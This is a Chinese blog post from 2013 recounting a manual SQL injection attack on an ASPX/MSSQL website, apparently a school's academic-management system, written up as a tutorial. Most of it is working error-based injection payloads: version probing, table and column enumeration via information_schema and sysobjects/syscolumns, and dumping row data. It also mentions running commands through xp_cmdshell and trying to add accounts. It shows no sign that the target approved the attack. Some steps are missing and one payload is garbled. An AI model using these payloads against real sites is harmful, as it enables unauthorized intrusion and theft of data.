一次失败的手工MSSQL注入笔记(犹如教科书般的MSSQL注入教程)

昨天k0n9基友扔过一个站来。aspx+mssql程序 (;" 用来分离两个语句,而"--"就是注释符,在它后面的语句都不执行!在后面不要问我为什么加

步骤一、

‘and 1=1 报错

’ and '1'='1正常

123

返回正常

即可说明是sa权限哇!!!!!

激动一番

步骤三、

接下来看看SQL版本吧。

' and 1=convert(int,@@version)--

123

好吧支持。

试试执行命令把。

命令个各种可以执行。但是没有回显 添加账户登录的时候提示账户不存在。通过命令拿下失败。继续开始爆表

如果不支持XP_cmdshell 自己百度查怎么恢复。是在不行就只能放弃了。

步骤五、

首先第一种方法。错误回显。

“having 1=1--”

123返回正常 说明这个表中不存在其他列。。

这样我们就把T_ZY_TeacherInfo这个表猜解完成。

那么如何猜解其他表呢?

这下就需要“information_schema.tables”和“information_schema.columns”了

提交数据如下。

'and 1=convert(int,(select top 1 table_name from information_schema.tables))--

123爆出T_ZY_PalaestraInfo表继续

'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('VIEW_r_xzbjtohj','T_ZY_PalaestraInfo','view_rm_yxcws_ch_fp','t_jh_setlessoninfo_temp_afterdelete','V_KH_TeacherSkbj1','AUTO_SKBJ_JC','bjrs' ,'brow_view','dan_gege','HLPKTLY','HLPLQLX' )))--

123

继续依次提交

'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='AUTO_SKBJ_JC' and column_name not in('SKBJ')))--

爆出所有列

'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='AUTO_SKBJ_JC' and column_name not in('SKBJ','JCz','JSM' ,'ZC','stimezc','DSZ' ,'XN' , 'XQ_ID','JCInfo','T_JS','JCAnalyse' ,'JS','TK_FLAG','TK_CDTATE','Y_JCZ' ,'Y_DSZ','Y_JSM','Y_JS' ,'Y_stimezc' ,'Y_JCINFO','Y_Y_JS','sffzxk' ,'CDDW_ID' ,'KCID','Analyse','skbjmc' ,'tingk_flag' ,'zhub','tkyy' ,'tingkyy' ,'ClassGroup' ,'jxjdbxh' ,'JSLX' ,'skbjxh' , 'KC_FLAG')))--

开始爆内容

爆出AUTO_SKBJ_JC表中JSM列中第一行的内容

'and 1=convert(int,(select top 1 JSM from AUTO_SKBJ_JC))--

'and 1=convert(int,(select top 1 JSM from AUTO_SKBJ_JC where JSM not in ('105K101','105K206','105K104 ')))--

第二种爆表方法

首先科普一下 sysdatabases是MSSQL默认系统表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”这五个表,对应的bdid的值为1到5,用户新建的数据库从bdid=6开始,我们可以通过修改bdid的值来暴出库名

提交语句

'and 1=(select name from master.dbo.sysdatabases where dbid=7)--

123依次爆出所有表。我这里就不搞了。

用默认系统表法暴表里的列,需要利用目标表在数据库的ID值来获取表中的具体内容

'and 1=(select count(*) from yczyxy_jwgl1db.dbo.sysobjects where xtype='U' and name='T_ZY_PalaestraInfo' and uid(str(id)))--

123

依次爆出所有列名

'and 1=(select top 1 name from yczyxy_jwgl1db.dbo.syscolumns where id=823165 and name not in ('DM','JZMJ', 'LX_ID' ,'MC' ))--

开始爆内容

'and 1=(select MC from yczyxy_jwgl1db.dbo.T_ZY_PalaestraInfo where MC0)--

123

作者:Dzer0

posted @ 2013-04-19 20:55:14 kuye 阅读(5819) 评论(0)
发表评论
昵称
邮箱
网址